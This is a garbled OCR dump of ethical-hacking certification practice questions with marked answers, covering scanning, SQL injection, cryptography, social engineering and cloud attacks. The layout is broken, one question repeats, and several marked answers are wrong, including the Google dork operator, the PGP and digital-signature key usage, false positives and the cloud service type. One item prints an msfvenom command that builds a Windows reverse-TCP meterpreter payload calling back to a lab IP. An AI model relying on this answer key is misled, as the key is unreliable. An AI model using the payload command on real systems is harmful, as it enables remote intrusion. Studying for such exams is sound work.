Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack. What is the type of vulnerability assessment performed by Johnson in the above scenario?

0

Host-based assessment

0

Distributed assessment

•

Wireless network assessment

 \mathbf{C}

Application assessment

Ethical hacker Jane Doe is attempting to crack the password of the head of the IT department of ABC company. She is utilizing a rainbow table and notices upon entering a password that extra characters are added to the password after submitting. What countermeasure is the company using to protect against rainbow tables?

0

Password hashing

•

Password salting

0

Account lockout

0

Password key hashing

Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, www.moviescope.com. During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as " or '1'='1'" in any basic injection statement such as "or 1=1." Identify the evasion technique used by Daniel in the above scenario.

0

IP fragmentation	า					
0						
Null byte						
0						
Variation						
•						
Char encoding						
Dorian is sendir	ng a digitall	y signed en	nail to Polly	y. With which	key is Dorian sign	ning this
message	and	how	is	Poly	validating	it?
0						
Dorian is signing	g the messa	ge with Poly	's public key	y, and Poly wil	l verify that the me	ssage
came from Dori	an by using	Dorian's pul	blic key.			
0						
Dorian is signing	g the messa	ge with Poly	's private ke	ey, and Poly w	ill verify that the m	essage
came from Dori	an by using	Dorian's pul	blic key.			
•						
Dorian is signing	g the messa	ge with his p	orivate key,	and Poly will v	erify that the mess	age
came from Dori	an by using	Dorian's pul	blic key.			
0						
Dorian is signing	g the messa	ge with his p	oublic key, a	ind Poly will ve	erify that the messa	age
came from Dori	an by using	Dorian's pri	vate key.			
					ates encryption k	
•	part of the	key so tha	t decryptin	g a disk on a	new piece of hard	
not					р	ossible?
0						
GPU						
0						
UEFI						
•						
TPM						
0						
CPU						

three keys are used, where each key consists of 56 bits. Which is this encryption
algorithm?
\circ
MD5 encryption algorithm
0
AES
•
Triple Data Encryption Standard
0
IDEA
Which file is a rich target to discover the structure of a website during web-server
footprinting?
•
Robots.txt
0
domain.txt
Document root
0
index.html
If you send a TCP ACK segment to a known closed port on a firewall but it does not
respond with an RST, what do you know about the firewall you are scanning?
\circ
It is a non-stateful firewall.
•
It is a stateful firewall.
\circ
There is no firewall in place.
\circ
This event does not tell you anything about the firewall.
Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are

accessing

the

network.

currently

In this form of encryption algorithm, every individual block contains 64-bit data, and

organization? \bigcirc Passive assessment External assessment Credentialed assessment Internal assessment Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by firewall. In this he URL а process, used https://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed and altered the URL input to the local host to view all the local resources on the target server. What is the type of attack Jason performed in the above scenario? 0 Web server misconfiguration Website defacement Server-side request forgery (SSRF) attack \circ Web cache poisoning attack An<u>s</u>wer By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered vour login and password in plaintext. Which file do you have clean to clear the password? to 0 .profile (.bash_history 0

.bashrc

What is the type of vulnerability assessment that Morris performed on the target

0						
.xsession-log						
Annie, a cloud client/server mod can process API	del in the a	pplication sh	e is working o	n. She utili	zes a comp	onent that
volumes,	i	images,		and		networks.
What is the cor	nponent o	f the Docke	r architectur	e used by	Annie in	the above
scenario?						
•						
Docker registries						
0						
Docker client						
0						
Docker daemon						
0						
Docker objects						
In the Common \				3.1 severity	_	what range
does	medium	•	ulnerability		fall	in?
•						
4.0-6.9						
0						
4.0-6.0						
0						
3.0-6.9						
0						
3.9-6.9						
Sam, a profession AWS IAM credent by initiating fak phishing emails employee's	tials. He at e calls wh	tempted to li	ure one of the	e employee e employee	es of the o	rganization er, he sent
What is the ted	chnique us	ed by Sam	to comprom	ise the A\	NS IAM c	redentials?
0						
Insider threat						
0						
Password reuse						

0						
	ngineering					
•	1161116611116					
Social eng	ineering					
J	·	on WorldCo	am and Tyso lod	to the creatio	n of a law t	hat was
-			om, and Tyco led d accountability			
•	-	-	ies that provid	-		
	•	-	t in 2002. This la			
0						•
PCI DSS						
0						
HIPAA						
•						
SOX						
0						
FedRAMP						
You have	been authoriz	ed to perfor	m a penetration	test against a	website. Yo	ou want
to use G	oogle dorks t	o footprint	the site but or	nly want resu	ılts that sh	ow file
extension	ıs.					
What	Google	dork	operator	would	you	use?
0						
site						
•						
ext						
0						
inurl						
0						
filetype						
Bill is a no	etwork admin	strator. He	wants to elimina	te unencrypt	ed traffic in	side his

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161. What protocol is this port using and how can he secure that traffic?

•

SNMP and he should change it to SNMP V3

0

SNMP a	ind h	e shou	ld change	it to SNMP V2	, which	h is encry	pted			
0										
RPC and	d the	best p	ractice is 1	to disable RPC	comp	letely				
0										
It is not	nece	ssary 1	to perforn	n any actions, a	as SNN	√P is not o	carryi	ng imp	ortant inf	ormation.
Boney,	а рі	ofess	ional had	cker, targets	an o	rganizat	ion f	or fin	ancial be	enefits. He
-			-	ding his session		•				•
				ID by logging						
	`			The session ID ny informatio		•				
. •			_	sensitive payı					_	
Boney's		,								account.
What	is	the	attack	performed	by	Boney	in	the	above	scenario?
0										
Session	dona	ation a	ttack							
0										
CRIME a	attack	(
0										
Forbidd	len at	tack								
•										
Session										
				n your netwo					•	
	-		•	form a vulne		-				
What	s usii	_	cryption	otion protocol proto		was uesig is	-		eing	used?
0		C.1.	y p c. o	p. oc.	, ,		•	~	₈	asca.
RADIUS										
0										
WPA										
0										
WPA3										
•										
WEP										
During	the	enun	neration	phase, Lawr	ence	perform	s ba	nner g	grabbing	to obtain
				tails and vers		of service		_		
enumer	rated		runs	directly		on	Т	CP	port	445.

	the follow	ng servic	es is enumera	ated by L	awrence i	in this s	cenario?
•	5 1 1 4						
	sage Block (S	SMB)					
0							
•	ocedure call ((RPC)					
0							
	le System (Ni	=S)					
0							
Telnet							
and she wa The organ professiona to find inci	as often logg lization wa al Robert to dent details propagati	ging in dur s skeptica determin s such as th on,	redentials of and ing irregular tile all about the lessue. Roll he type of attached and and response	mes to moi login time bert analyz ck, its seve vulnera	nitor the ness and applied the corrity, targetabilities	network a opointed mpromiso t, impact e	security ed device , method exploited.
determine			these	•			issues?
0							
Incident tria	age						
0	Ü						
Preparation	n						
0							
Eradication	1						
•							
Incident red	cording and	assignment	t				
Scenario: Jo	oe turns on	his home o	computer to ac	cess persor	nal online l	banking.	When he
enters the	URL www.ba	ank.com, t	he website is di	splayed, bu	ut it promp	ots him to	re-enter
his credent	tials as if he	has never	visited the site	before. Wh	en he exai	mines the	e website
URL closer,	, he finds th	at the site	is not secure a	nd the wel	b address a	appears (lifferent.
What	type	of	attack	he	is	expe	riencing?
0							
DoS attack							
•							
DNS hijacki	ing						
0							
ARP cache	poisoning						

DHCP spoofing

Answer

Richard, an attacker, targets an MNC. In this process, he uses a footprinting technique to gather as much information as possible. Using this technique, he gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date. With this information, he creates a map of the organization's network and misleads domain owners with social engineering to obtain internal details of its network. What footprinting Richard? type of technique is employed by

0

VoIP footprinting

(

Whois footprinting

0

Email footprinting

0

VPN footprinting

Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the essential information regarding her company. What is the social engineering technique Steve employed in the above scenario?

0

Piggybacking

0

Diversion theft

0

Honey trap

(

Baiting

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application.

What	is	the	type	of	web-service	API	mentioned	in	the	abo	ve s	scenario?
0												
JSON-I	RPC											
0												
SOAP	API											
0												
REST A	٩PI											
•												
RESTfu	ul AF	Pl										
previo admin directo	ous e nistra orie: ns na	emplo ator. s, reg	yee. B Martin istries,	efore four and	issuing the s nd that there other system	systei were n para	allocated an m to Janet, it we possibilities of ameters. He and registry or file	was of co Iso i	asses mpro denti	ssed bomise	y Ma thro ulne	artin, the ough user erabilities software
Ū	ura: is		tvn.	e 0	f vulnerahi	ilitv	assessment	ne	rforn	ned	by	errors. Martin?
0			- 51					ρ.			~,	
	ntial	ed as:	sessme	nt								
0												
Distrib	oute	d asse	essmen	t								
•												
Datab	ase	assess	sment									
0												
Host-k	oase	d asse	essmen	t								
exploi scanno on the	t th er o e sa is t	e org n a m ıme ı	anizat achine networ	ion. e belo k to	In the attack onging to one identify vul	c proce of the Ineral	zation, contactes, the profess, the profess of the	essi d sca rfor	onal annec m fui	hacko d seve	er in eral i exp	stalled a machines loitation.
O	•											
	ork-b	ased	scanne	r								
0												
Agent-	-bas	ed sca	anner									
0												
Proxy	scar	ner										

0					
Cluster scann	ner				
A penetratio	n tester is _l	performing th	ne footprinting pro	cess and is revie	wing publicly
available inf	formation a	about an org	anization by using	g the Google se	earch engine.
	following a	-	rators would allow	<u>-</u>	
search	to	the	organization's	web	domain?
•					
[site:]					
0					
[allinurl:]					
0					
[link:]					
0					
[location:]					
Taylor, a sec	urity profes	sional, uses a	tool to monitor he	er company's we	bsite, analyze
the website	s traffic, aı	nd track the	geographical locat	ion of the user	s visiting the
company's					website.
Which of t	the follow	ing tools d	id Taylor employ	y in the abo	ve scenario?
0					
WAFW00F					
0					
Webroot					
•					
Web-Stat					
0					
WebSite-Wate	cher				
What is the	common	name for a	vulnerability disc	closure progran	n opened by
companies	in	platfor	ms such	as	HackerOne?
•					
Bug bounty p	orogram				
0					
Ethical hackir	ng program				
0					
White-hat had	cking progra	m			
0					

Vulnerability hunting program

Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information. What is the attack technique employed by Jane in the above scenario?

Website defacement

Session hijacking

Web cache poisoning

Website mirroring

The network users are complaining because their systems are slowing down. Further, every time they attempt to go to a website, they receive a series of pop-ups with advertisements. What type of malware have the systems been infected with?

Trojan

0

0

Virus

(1)

Adware

0

Spyware

Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company. After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, bins. and rummaging What is the type of attack technique Ralph used on Jane?

0

Dumpster diving

0												
Eavesd	roppir	ng										
0												
Should	er sur	fing										
•												
Impers	onatio	n										
her co legitim for pro Jane pr	mpan ate cu per fu	y. Aft istome unctio ly repl	er a fe er suppo ning an ied posi	w day ort exe d that tively.	rs, Ralp cutive, custor Ralph	info mer ente	who had ontacted rming that support verse Jane's ing terming terminal termi	Jane It her Will s S com	while syster end a npany u	masquens need to compute using this	eradin o be s r tech oppo	ng as a erviced nnician. ortunity
import	ant	do	cument	S	in	de	sks,	and	r	ummagir	ıg	bins.
What	is	the	type	of	attac	k	techniqu	e I	Ralph	used	on	Jane?
Dumps Eavesd Should Impers	roppir er sur	ng fing										
inform James,	ation, a prof to d	photo ession	graphs, nal hack	and ler, tar	ocatior gets En ation form	n tag nily a	media, p s of recer and her ac using an other James	ntly v cquai aut	visited ntance omate	places. R	ealizione ets a lo and g	ng this, ocation
0				· · · · · ·	-,	~,	jemios			0.0000		
HULK												
•												
Hootsu	iite											
0												
ophcra	ck											
0												
VisualR	oute											

network	activit	y as	well	as	its	fragi	ment	ident	ificatio	n n	umbers?
•											
Idle scanni	ng										
0											
Packet frag	mentati	ion scanni	ng								
0											
Decoy scar	ning										
0											
Spoof sour	ce addr	ess scann	ing								
Kevin, a p					-		-				
employed		•	•			•					
company's	IDS ca	nnot reco	ognize t	the p	acket	s, but	the ta	arget we	eb serv	er caı	1 decode
them. What is	the	techniqu	ie use	ad	by K	(evin	to	evade	the	IDS	system?
0	tile	teeriiiqe	ic us	cu	Dy i	CVIII	ιο	cvauc	tile	103	system:
Urgency fla	ıg										
•	.0										
Obfuscatin	g										
0											
Desynchro	nization										
0											
Session spl	icing										
John want	s to ser	nd Marie	an ema	ail th	at incl	udes s	sensiti	ive info	rmatio	n, and	he does
not trust t	he netv	vork that	he is c	onne	cted t	o. Mar	ie giv	es him t	he ide	a of us	sing PGP.
What sho	uld Joh	n do to	comm	unica	ate co	rrectly	y usin	ng this	type (of end	ryption?
0											
Use Marie's	s private	e key to er	crypt th	ne me	ssage.						
•											
Use his ow	n public	key to en	crypt th	e me	ssage.						
0											
Use Marie's	s public	key to end	crypt the	e mes	ssage.						
0											
Use his ow	n privat	e key to e	ncrypt tl	he me	essage						

What firewall evasion scanning technique make use of a zombie system that has low

You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the SSID "Brakeme-Internal." You realize that this network uses WPA3 encryption. Which of the following vulnerabilities is the promising to exploit?

•											
Drag	onbl	ood									
0											
Key r	eins	tallatio	n atta	ack							
0											
Cross	s-site	reque	st for	gery							
0											
AP m	isco	nfigura	tion								
day v probl	ulno em an o	erabilit	y. Ho	e sent an ne owner	ema can	il to the	e owr	ner of	the publices from tha	system d t vulnerak	dered a zero- lescribing the bility. He also systems are to.
What			typ	e	0	f	ı	nacke	er	is	Nicolas?
0											
Black	hat										
0											
Red h	nat										
•											
Gray	hat										
0											
White	e hat	: :									
Strut	s wa	s to bl	ame	for the E	quifa	x data b	reacl	n that	affected 1	43 million	ity in Apache customers. A
										•	the intrusion.
This	is	likely	a	failure	in	which	of	the	following	security	processes?
Secui	re de	evelopr	nent	lifecycle							
0											
Secui	rity a	waren	ess tr	aining							
0				-							
Vend	or ri	sk man	agen	nent							

iii aii atteiiipt	to increase t	the security o	f your netwo	rk, you impl	ement a	solution that
will help keep	your wireles	s network u	ndiscoverable	and access	ible only	to those that
know						it.
How	do	yo	u	accompli	sh	this?
0						
Lock all users						
0						
Remove all pas	swords					
0						
Delete the wire	eless network					
•						
Disable SSID bi	· ·					
SQL injection (-	-			-	-
bypass authen	itication and	allow attack	ers to access	and/or mod	lify data	
web Which of the f	following SO	l i tynes leve	rages a datal	hase server'	s ahility :	application.
	_	pass	data		-	
reauests	το	nass	uutu	to	an	attacker?
•	to	pass	uutu	το	an	attacker?
0	το	pass	autu	to	an	attacker?
0	to	pass	uutu	το	an	attacker?
In-band SQLi		μαss	uutu	το	an	attacker?
In-band SQLi		μαss	uutu	το	an	attacker?
In-band SQLi Time-based bli	nd SQLi	μαss	uutu	το	an	attacker?
In-band SQLi Time-based bli	nd SQLi	μαss	uutu	το	an	attacker?
In-band SQLi Time-based bli Out-of-band SQ	nd SQLi QLi	μασσ	uutu	το	an	attacker?
In-band SQLi Time-based bli Out-of-band SO Union-based So	nd SQLi QLi QLi					
In-band SQLi In-band SQLi Ime-based bli Out-of-band SO Union-based So You start perfo	nd SQLi QLi QLi	etration test		ecific websit	e and ha	
In-band SQLi In-band SQLi Ime-based bli Out-of-band SO Union-based So You start performance Start from	nd SQLi QLi QLi orming a pe r	netration test	: against a spo ne links	ecific websit	e and ha	ve decided to
In-band SQLi In-band SQLi Ime-based bli Out-of-band SO Union-based So You start performance Start from	nd SQLi QLi QLi orming a pen grabbing	netration test	: against a spo ne links	ecific websit	e and ha the m	ve decided to nain page.
In-band SQLi In-band SQLi Ime-based bli Out-of-band SO Union-based So You start performance start from What is	nd SQLi QLi Orming a pen grabbing the best	netration test g all ti : Linux	against a spo ne links pipe to	ecific websit from 1 achieve	e and ha the m your	ve decided to nain page. milestone?
In-band SQLi In-band SQLi Ime-based bli Out-of-band SO Union-based So You start performance start from What is	nd SQLi QLi Orming a pen grabbing the best	netration test g all ti : Linux	against a spo ne links pipe to	ecific websit from 1 achieve	e and ha the m your	ve decided to nain page. milestone?
In-band SQLi In-band SQLi In-band SQLi In-band SQLi In-based bli In-based SQLi In-band S	nd SQLi QLi prming a pen grabbing the best ite.com gre	netration test g all tl : Linux p "< a href=\"	against a spo ne links pipe to	ecific websit from 1 achieve	e and ha the m your	ve decided to nain page. milestone?

0				
wget https://site.c	om cut -d "	http"		
9 1		•	generate a reverse	TCP shellcode for
Windows?	·	0	0	
0				
msfvenom -p wind	dows/meterp	reter/reverse_tcp	RHOST=10.10.10.30 L	_PORT=4444 -f c
msfvenom -p wind	dows/meterp	reter/reverse_tcp	LHOST=10.10.10.30 L	.PORT=4444-f c
•				
msfvenom -p wind shell.exe	dows/meterp	reter/reverse_tcp	LHOST=10.10.10.30 L	.PORT=4444 -f exe >
0				
msfvenom -p wind shell.exe	dows/meterp	reter/reverse_tcp	RHOST=10.10.10.30 l	_PORT=4444 -f exe >
Answer Mark for review	w and Next			
Scenario:				
1. Victim	oper	ns the	attacker's	web site.
2. Attacker sets ເ	up a web sit	e which contains	s interesting and at	tractive content like
'Do you	want	to make	\$1000 i	n a day?'.
3. Victim cli	cks to	the interesting	g and attractiv	e content URL.
	-		ont of the URL which	the victim attempts
-	ctim thinks t	1 . 1 . 1 1 1		
			s on the 'Do you war	
•	actually he/s	she clicks on th	ne content or URL	. that exists in the
transparent	actually he/s 'iframe'	she clicks on th which is	ne content or URL setup by	that exists in the the attacker.
transparent	actually he/s 'iframe'	she clicks on th which is	ne content or URL setup by	. that exists in the
transparent What is the r	actually he/s 'iframe'	she clicks on th which is	ne content or URL setup by	that exists in the the attacker.
transparent What is the r	actually he/s 'iframe'	she clicks on th which is	ne content or URL setup by	that exists in the the attacker.
transparent What is the r Session Fixation	actually he/s 'iframe'	she clicks on th which is	ne content or URL setup by	that exists in the the attacker.
transparent What is the r Session Fixation	actually he/s 'iframe'	she clicks on th which is	ne content or URL setup by	that exists in the the attacker.
transparent What is the r Session Fixation HTML Injection	actually he/s 'iframe' name of t	she clicks on th which is	ne content or URL setup by	that exists in the the attacker.
transparent What is the r Session Fixation HTML Injection	actually he/s 'iframe' name of t	she clicks on th which is	ne content or URL setup by	that exists in the the attacker.
transparent What is the r Session Fixation HTML Injection ClickJacking Attack	actually he/s 'iframe' name of t	she clicks on th which is	ne content or URL setup by	that exists in the the attacker.
transparent What is the r Session Fixation HTML Injection ClickJacking Attack HTTP Parameter F	diframe' 'iframe' name of t Pollution	she clicks on th which is he attack whi	ne content or URL setup by ch is mentioned	that exists in the the attacker.

by

0					
Performing	content e	numeration usir	ng the bruteford	e mode and rand	dom file extensions
0					
Skipping SS	L certifica	te verification			
•					
Performing	content e	numeration usir	ng a wordlist		
0					
Performing	content e	numeration usir	ng the bruteford	e mode and 10 t	hreads
Techno Sec	curity Inc.	recently hired	John as a pen	etration tester.	He was tasked with
identifying	open por	ts in the targe	t network and	determining w	hether the ports are
	any firew	all rule sets ar			o perform a TCP SYN
ping	scan	on	the	target	
which of the scan?	ne followi	ng Nmap comr	nands must Jo	hn use to perfo	rm the TCP SYN ping
C C					
	DD < targe	et IP address >			
0	ii \taige	ttii addiess >			
	·PA < targe	et IP address >			
•	T/Y Cargo	ien address			
	·PS < targe	t IP address >			
0					
	·PO < targe	et IP address >			
An attacke	r redirect:	s the victim to r	nalicious webs	ites by sending t	:hem a malicious link
				,	malicious web page,
which allo	ws the a	ttacker to stea	l the victim's	data. What typ	oe of attack is this?
0					
DDoS					
•					
Phishing					
0					
Vishing					
0					
Spoofing					
Which of th	ne followii	ng Bluetooth ha	cking techniq	ues refers to the	theft of information
from	а	wireless	device	through	Bluetooth?

0					
Bluesmacking					
0					
Bluebugging					
0					
Bluejacking					
•					
Bluesnarfing					
To invisibly m	aintain acc	ess to a machi	ine, an attacke	r utilizes a roo	tkit that sits
undetected in	the core o	components of	the operating	system. What is	this type of
rootkit		an	exa	mple	of?
0					
Hardware rootk	kit				
0					
Firmware rootk	it				
0					
Hypervisor root	kit				
•					
Kernel rootkit					
Mr. Omkar _I	performed	tool-based v	ulnerability as	sessment and	found two
vulnerabilities.	During fu	ırther analysis,	he found tha	t those issues	are not true
vulnerabilities.	•				
What	will	you	call	these	issues?
0					
True positives					
0					
False positives					
0					
False negatives					
•					
True negatives					
Bob, an attack	er, has ma	naged to access	a target IoT de	evice. He employ	yed an online
tool to gather i	nformatior	related to the i	model of the lol	device and the	certifications
granted			to		it.
Which of the	following	tools did Bob	employ to gat	her the above	information?

0					
Google image sea	irch				
0					
search.com					
0					
EarthExplorer					
•					
FCC ID search					
Alice needs to se	end a confid	lential documer	nt to her cov	vorker, Bryan.	Their company
has public key in	frastructur	e set up. Therei	ore, Alice bo	oth encrypts th	e message and
digitally signs it	t. Alice use	es to	encrypt the	e message, ar	nd Bryan uses
	to	confirm	the	digital	signature.
0					
Alice's public key;	Alice's public	c key			
0					
Bryan's public key	r; Alice's publ	lic key			
•					
Bryan's private ke	y; Alice's pub	olic key			
0					
Bryan's public key	ı; Bryan's pul	blic key			
An organization i	s performin	g a vulnerability	/ assessmen	t for mitigating	threats. James,
a pen tester, scar	nned the or	ganization by bເ	uilding an inv	ventory of the p	rotocols found
on the organizati	ion's machiı	nes to detect wh	nich ports ar	e attached to s	ervices such as
an email server,					
selected the vuln	nerabilities (on each machin	e and starte	ed executing on	ly the relevant
tests.		1 -1			
What is the type	e of vuinera	ability assessme	ent solution	that James er	nployed in the scenario?
above					scenario:
C					
Service-based sol	utions				
Inference-based a	issessment				
O Dradust based so	lutions				
Product-based so	iutions				
Tree-based assess	smont				
1166-09260 92262	SHIEHL				

attack	against	an	poisoning (DN3 spooning) ?organization
0	agamse	u	0.80200
	es a request to the DN	JS resolver	
•	es a request to the sr	13 / 630// 617	
	ries a nameserver usir	ng the DNS resolver.	
0		Ü	
The attacker forge	es a reply from the DN	NS resolver.	
0			
The attacker uses	TCP to poison the DN	IS resolver.	
What is the port	to block first in cas	e you are suspicious th	nat an IoT device has been
compromised?			
•			
22			
0			
48101			
0			
80			
0			
443			
user accounts or security of the w on	n a web server. To the eb server by adopting the	nwart evolving attacks, ng a few countermeasu web	some abnormalities in the he decided to harden the res to secure the accounts server ement to secure the user
accounts	on		web server?
•	011		Tres Server.
	modules and applicat	tion extensions	
	modules and applical	tion execusions	
	eractive accounts that	t should exist but do not	require interactive login
0			
	efault user accounts c	reated during the installa	ation of an OS
0		<u> </u>	
Limit the adminis	trator or root-level ac	cess to the minimum nui	mber of users

At what stage of the cyber kill chain theory model does data exfiltration occur?

•								
Command and	control							
0								
Weaponization								
0								
Actions on obje	ectives							
0								
Installation								
John, a profes	sional l	nacker, perfo	orms a net	work attack o	n a ren	owned	organ	ization
and gains una	authori	zed access t	o the targ	et network. H	le rema	ains in	the n	etwork
without being	detect	ed for a lor	ng time an	d obtains sen	sitive i	nforma	tion v	vithout
sabotaging			the			(organi	ization.
Which of	the	following	attack	techniques	is	used	by	John?
•								
Advanced pers	istent th	nreat						
0								
Diversion theft								
0								
Spear-phishing	sites							
0								
Insider threat								
A DDoS attack	is perf	ormed at la	yer 7 to tak	ce down web i	nfrastr	ucture.	Partia	al HTTP
requests are s	ent to	the web infr	astructure	or application	ıs. Upo	n receiv	ving a	partial
request, the t	arget s	servers open	s multiple	connections	and ke	eps wa	iting	for the
requests			to				COI	mplete.
Which	attac	:k i	S	being	descr	ibed		here?
0								
Phlashing								
•								
Slowloris attacl	K							
0	. •							
Desynchroniza	tion							
Session splicing								
Heather's com	pany h	as decided to	use a new	customer rela	tionshi	ip mana	igeme	nt tool.

After performing the appropriate research, they decided to purchase a subscription to

perform is th	e manag	ement	of use	er accounts	s. The	provide	er will	take c	are of the
hardware, op	erating s	ystem,	and s	oftware a	dminis	tration	includi	ing pat	ching and
monitoring.	Which	of	the	following	is	this	type	of	solution?
0									
SaaS									
•									
CaaS									
0									
PaaS									
0									
laaS									
Robin, a profe	ssional h	acker, t	argete	d an organi	ization	's netw	ork to s	niff all	the traffic.
During this pr	ocess, Ro	bin plu	gged in	a rogue sw	itch to	an unu	ised po	rt in th	e LAN with
a priority low	er than a	ny othe	er switc	ch in the ne	etwork	so that	t he cou	ıld mak	ke it a root
bridge that	will late	er allo	w hin	n to snif	f all	the tr	affic i	n the	network.
What is t	he atta	ick p	erform	ed by	Robin	in	the a	bove	scenario?
•									
STP attack									
0									
VLAN hopping	attack								
0									
DNS poisoning	gattack								
0									
ARP spoofing a	attack								
What are com	mon files	on a w	eb ser	ver that ca	n be m	isconfig	gured a	nd prov	vide useful
information	for	a h	acker	such	as	verbos	e eri	ror	messages?
0									
php.ini									
•									
httpd.conf									
0									
administration	.config								
0									
idq.dll									

a cloud-hosted solution. The only administrative task that Heather will need to

Which type of virus can change its own code and then cipher itself multiple times as it replicates? (e) **Encryption virus** \bigcirc Cavity virus \circ Stealth virus Tunneling virus An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber attacks, espionage, zero-day Which of the following tools must the organization employ to protect its critical infrastructure? BalenaCloud Robotium Flowmon \circ IntentFuzzer Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs. Which two SQL injection types would give her the results she is looking for? \circ Time-based and union-based Time-based and boolean-based

0

Maintaining access

•

Gaining access

Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target svstem to establish an outbound connection. What is the APT lifecycle phase that Harry is currently executing?

O

Initial intrusion

0

Cleanup

•

Persistence

0

Preparation

A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer. What tests would you perform to determine whether his computer is infected?

0

Upload the file to VirusTotal.

0

You do not check; rather, you immediately restore a previous snapshot of the operating system.

0

Use ExifTool and check for malicious content.

(

Use netstat and check for outgoing connections to strange IP addresses or domains.

Ricardo has discovered the username for an application in his target's environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles them into a list and then feeds that list argument into his password-cracking application. as an What of attack is Ricardo performing? type

0					
Known plaintex	αt				
•					
Password spray	ying				
0					
Dictionary					
0					
Brute force					
Which iOS jailb	reaking techniq	ue patches th	ne kernel du	ring the device bo	ot so that it
becomes	jailbroken	after	each	successive	reboot?
0					
Semi-tethered J	lailbreaking				
•					
Untethered jaill	breaking				
0					
Semi-untethere	ed Jailbreaking				
0					
Tethered jailbre	eaking				
the target's Ms made malward service. Furthe compressed the information	SP provider by set of compromiser, she accessed ne customer date to launch	ending spear e user account the target of ta, and store further atta	-phishing er nts and gair customer pr d them in t acks on	cloud services. She mails and distributed in remote access to files with her Market Market She the target of the target of the above the above the target of the target of the above the above the target of the above the target of the above t	ted custom- to the cloud ISP account, ne used this organization.
•					
Cloud hopper a	ittack				
0					
Man-in-the-clou	ud (MITC) attack				
0					
Cloudborne att	ack				
0					
Cloud cryptojac	king				
		_	-	ty. Alice and John a s a long, complex _l	_

her router. What attack has likely occurred?

Piggybacking
Wardriving
•
Evil twin
0
Wireless sniffing
Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses
MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object types for workstations and
server services.
Which of the following types of MIB is accessed by Garry in the above scenario?
0
DHCP.MIB
0
MIB_II.MIB
LNMIB2.MIB
WINS.MIB
Sam is working as a system administrator in an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect its severity using CVSS v3.0 to properly assess and prioritize the organization's vulnerability management processes. The base score that Sam obtained after performing CVSS
rating was 4.0.
What is the CVSS severity level of the vulnerability discovered by Sam in the above
scenario?
Low
Madinar
Medium

High										
0										
Critical										
After ar	audit, the	e audi	itors in	form y	ou that	there	is a cri	tical find	ing tha	t you must
tackle ii	nmediatel	y. You	ı read t	he aud	lit repo	rt, and	the pro	blem is th	ne serv	ice running
on					port					389.
Which	service	is	this	and	how	can	you	tackle	the	problem?
0										
	ice is NTP,	and yo	ou have	to cha	nge it fr	om UDF	to ICP	in order t	o encry	pt it.
0					•	61 411 4E				
emails.	ice is SMTP	, and	you mu	ist char	ige it to	SMIIME,	which i	s an encry	pted wa	ay to send
emans.										
	ice is LDAP	and	vou mu	st chan	ge it to	536 Wh	ich is I F) A D C		
	rice is LDAI	, ariu j	you mu	St Crian	ige it to	JJO, WII	ICITIS EL)Al 3.		
	ings do not	requi	ire imm	ediate .	actions :	and are	only su	σσestions		
	_						-			se key. This
			-				_		-	ages. When
	-	-	_	-			-			al transmit
			-		-					What is this
attack										called?
0										
Evil twin										
0										
Chop ch	op attack									
0										
Wardriv	ing									
•										
KRACK										
Wilson,	a professio	onal h	acker,	target	s an or	ganizat	ion for	financial	benefi	t and plans
to comp	romise its	syste	ms by s	ending	g malicio	ous ema	ails. For	this purp	ose, he	uses a tool

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API. Which of the following tools is used by Wilson in the above scenario?

 \circ

Factiva
ZoomInfo
0
Infoga
0
Netcraft
